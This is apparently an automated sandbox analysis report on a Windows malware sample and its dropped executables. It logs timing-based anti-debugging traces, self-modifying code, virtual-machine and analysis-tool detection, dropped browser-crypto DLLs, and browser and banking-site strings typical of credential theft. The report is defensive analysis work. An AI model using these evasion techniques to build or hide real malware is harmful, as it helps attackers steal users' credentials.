Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 3967C8 second address: 396811 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F99C163FB02h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007F99C163FAFCh 0x00000013 jg 00007F99C163FAF6h 0x00000019 pushad 0x0000001a jns 00007F99C163FAF6h 0x00000020 jmp 00007F99C163FB09h 0x00000025 pushad 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 396811 second address: 396816 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 396816 second address: 396821 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnl 00007F99C163FAF6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 396A9F second address: 396AA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 396AA3 second address: 396AB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F99C163FAF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 396DD3 second address: 396DF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F99C0D73D60h 0x0000000a jmp 00007F99C0D73D54h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 396DF3 second address: 396E18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F99C163FB06h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 396E18 second address: 396E1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 396E1C second address: 396E22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 31C0D7 second address: 31C111 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99C0D73D58h 0x00000007 jng 00007F99C0D73D52h 0x0000000d jl 00007F99C0D73D46h 0x00000013 jp 00007F99C0D73D46h 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F99C0D73D4Ah 0x00000022 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 36AFFA second address: 36B014 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99C163FB06h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 36B014 second address: 36B01E instructions: 0x00000000 rdtsc 0x00000002 js 00007F99C0D73D4Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 36B01E second address: 1BEBB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 jmp 00007F99C163FAFBh 0x0000000e push dword ptr [ebp+122D0CB1h] 0x00000014 mov dword ptr [ebp+122D17D7h], edx 0x0000001a call dword ptr [ebp+122D2B86h] 0x00000020 pushad 0x00000021 mov dword ptr [ebp+122D3237h], ecx 0x00000027 xor eax, eax 0x00000029 sub dword ptr [ebp+122D3237h], edi 0x0000002f mov edx, dword ptr [esp+28h] 0x00000033 mov dword ptr [ebp+122D3237h], edx 0x00000039 mov dword ptr [ebp+122D37CBh], eax 0x0000003f pushad 0x00000040 pushad 0x00000041 mov dword ptr [ebp+122D2BB4h], ebx 0x00000047 jnl 00007F99C163FAF6h 0x0000004d popad 0x0000004e mov esi, dword ptr [ebp+122D37F7h] 0x00000054 popad 0x00000055 mov esi, 0000003Ch 0x0000005a jmp 00007F99C163FAFCh 0x0000005f add esi, dword ptr [esp+24h] 0x00000063 mov dword ptr [ebp+122D2BB4h], ebx 0x00000069 cld 0x0000006a lodsw 0x0000006c je 00007F99C163FB03h 0x00000072 jmp 00007F99C163FAFDh 0x00000077 add eax, dword ptr [esp+24h] 0x0000007b xor dword ptr [ebp+122D2BB4h], eax 0x00000081 jmp 00007F99C163FB09h 0x00000086 mov ebx, dword ptr [esp+24h] 0x0000008a jl 00007F99C163FAF7h 0x00000090 stc 0x00000091 pushad 0x00000092 mov dword ptr [ebp+122D1AE4h], edi 0x00000098 jng 00007F99C163FAF6h 0x0000009e popad 0x0000009f nop 0x000000a0 push eax 0x000000a1 pushad 0x000000a2 jmp 00007F99C163FB04h 0x000000a7 push eax 0x000000a8 push edx 0x000000a9 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 36B0E1 second address: 36B161 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F99C0D73D5Bh 0x00000008 jmp 00007F99C0D73D55h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 pop edx 0x00000015 push ecx 0x00000016 jmp 00007F99C0D73D4Eh 0x0000001b pop ecx 0x0000001c popad 0x0000001d mov eax, dword ptr [esp+04h] 0x00000021 jo 00007F99C0D73D4Ah 0x00000027 push ebx 0x00000028 push edi 0x00000029 pop edi 0x0000002a pop ebx 0x0000002b mov eax, dword ptr [eax] 0x0000002d jmp 00007F99C0D73D58h 0x00000032 mov dword ptr [esp+04h], eax 0x00000036 jmp 00007F99C0D73D4Dh 0x0000003b pop eax 0x0000003c mov ecx, 7C822041h 0x00000041 cmc 0x00000042 push 53E94093h 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 36B161 second address: 36B165 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 36B2C1 second address: 36B2C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 36B2C7 second address: 36B2D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 36B2D0 second address: 36B2D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 36BD12 second address: 36BD18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 36BD18 second address: 36BD1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 36BDB2 second address: 36BDB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 36BDB9 second address: 36BE1C instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F99C0D73D4Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F99C0D73D4Ch 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push edx 0x00000014 call 00007F99C0D73D48h 0x00000019 pop edx 0x0000001a mov dword ptr [esp+04h], edx 0x0000001e add dword ptr [esp+04h], 00000017h 0x00000026 inc edx 0x00000027 push edx 0x00000028 ret 0x00000029 pop edx 0x0000002a ret 0x0000002b cld 0x0000002c lea eax, dword ptr [ebp+1247F877h] 0x00000032 and cx, 73D7h 0x00000037 push eax 0x00000038 jl 00007F99C0D73D63h 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007F99C0D73D51h 0x00000045 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 36BE1C second address: 36BE20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 36BE20 second address: 36BE76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007F99C0D73D48h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 00000015h 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 sbb ch, 00000051h 0x00000026 lea eax, dword ptr [ebp+1247F833h] 0x0000002c jmp 00007F99C0D73D55h 0x00000031 nop 0x00000032 jp 00007F99C0D73D4Ah 0x00000038 push eax 0x00000039 pushad 0x0000003a popad 0x0000003b pop eax 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 36BE76 second address: 36BE7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 36BE7A second address: 36BE7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 36BE7E second address: 36BE84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 36BE84 second address: 347B8A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jnl 00007F99C0D73D46h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007F99C0D73D48h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 00000015h 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 mov dword ptr [ebp+122D2B1Eh], esi 0x0000002d call 00007F99C0D73D4Eh 0x00000032 mov dl, 40h 0x00000034 pop edi 0x00000035 call dword ptr [ebp+122D2B7Dh] 0x0000003b jmp 00007F99C0D73D57h 0x00000040 je 00007F99C0D73D50h 0x00000046 push eax 0x00000047 pushad 0x00000048 popad 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 39B22D second address: 39B231 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 39B231 second address: 39B24B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F99C0D73D54h 0x0000000b rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 39EFC4 second address: 39EFF9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99C163FB03h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jl 00007F99C163FAF6h 0x00000010 pop eax 0x00000011 pushad 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 jmp 00007F99C163FB01h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 3A341C second address: 3A3420 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	RDTSC instruction interceptor: First address: 3A39B8 second address: 3A39BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E4E867 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E77D4F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: ED3A73 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Special instruction interceptor: First address: 1BEB01 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Special instruction interceptor: First address: 1BEBE8 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Special instruction interceptor: First address: 35AA10 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Special instruction interceptor: First address: 1BC16A instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Special instruction interceptor: First address: 37EBB2 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Special instruction interceptor: First address: 36AC62 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Special instruction interceptor: First address: 3E4A8E instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Special instruction interceptor: First address: 358FA4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: F5EB01 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: F5EBE8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 10FAA10 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: F5C16A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 111EBB2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 110AC62 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 1184A8E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 10F8FA4 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsJDAFIEHIEG.exe

Code function: 20_2_05360C50 rdtsc

20_2_05360C50

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Thread delayed: delay time: 180000

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 3144	Thread sleep time: -56028s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6112	Thread sleep time: -50025s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3116	Thread sleep time: -36000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4336	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8184	Thread sleep count: 141 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8184	Thread sleep time: -4230000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7736	Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8184	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsJDAFIEHIEG.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6C51C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

1_2_6C51C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000017.00000002.3424746135.00000000010DB000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: GCGCBAEC.1.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: GCGCBAEC.1.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: GCGCBAEC.1.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: GCGCBAEC.1.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: GCGCBAEC.1.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: GCGCBAEC.1.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000001.00000002.2700544115.0000000001663000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2700544115.0000000001693000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000017.00000002.3423306492.0000000000838000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: GCGCBAEC.1.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: GCGCBAEC.1.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: GCGCBAEC.1.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: GCGCBAEC.1.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: GCGCBAEC.1.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: skotes.exe, 00000017.00000002.3423306492.000000000080A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: GCGCBAEC.1.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: GCGCBAEC.1.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: GCGCBAEC.1.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: GCGCBAEC.1.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: GCGCBAEC.1.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: GCGCBAEC.1.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: GCGCBAEC.1.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: GCGCBAEC.1.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: DocumentsJDAFIEHIEG.exe, 00000014.00000003.2693844368.00000000015BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\O)]r
Source: GCGCBAEC.1.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: GCGCBAEC.1.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: GCGCBAEC.1.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: GCGCBAEC.1.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: GCGCBAEC.1.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: skotes.exe, 00000017.00000002.3423306492.0000000000838000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWS%K
Source: GCGCBAEC.1.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: GCGCBAEC.1.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: GCGCBAEC.1.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000001.00000002.2700544115.000000000161E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: GCGCBAEC.1.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: GCGCBAEC.1.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000001.00000002.2698495525.0000000000E32000.00000040.00000001.01000000.00000003.sdmp, DocumentsJDAFIEHIEG.exe, 00000014.00000002.2726017209.000000000033B000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000015.00000002.2747497167.00000000010DB000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000017.00000002.3424746135.00000000010DB000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: GCGCBAEC.1.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: GCGCBAEC.1.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsJDAFIEHIEG.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
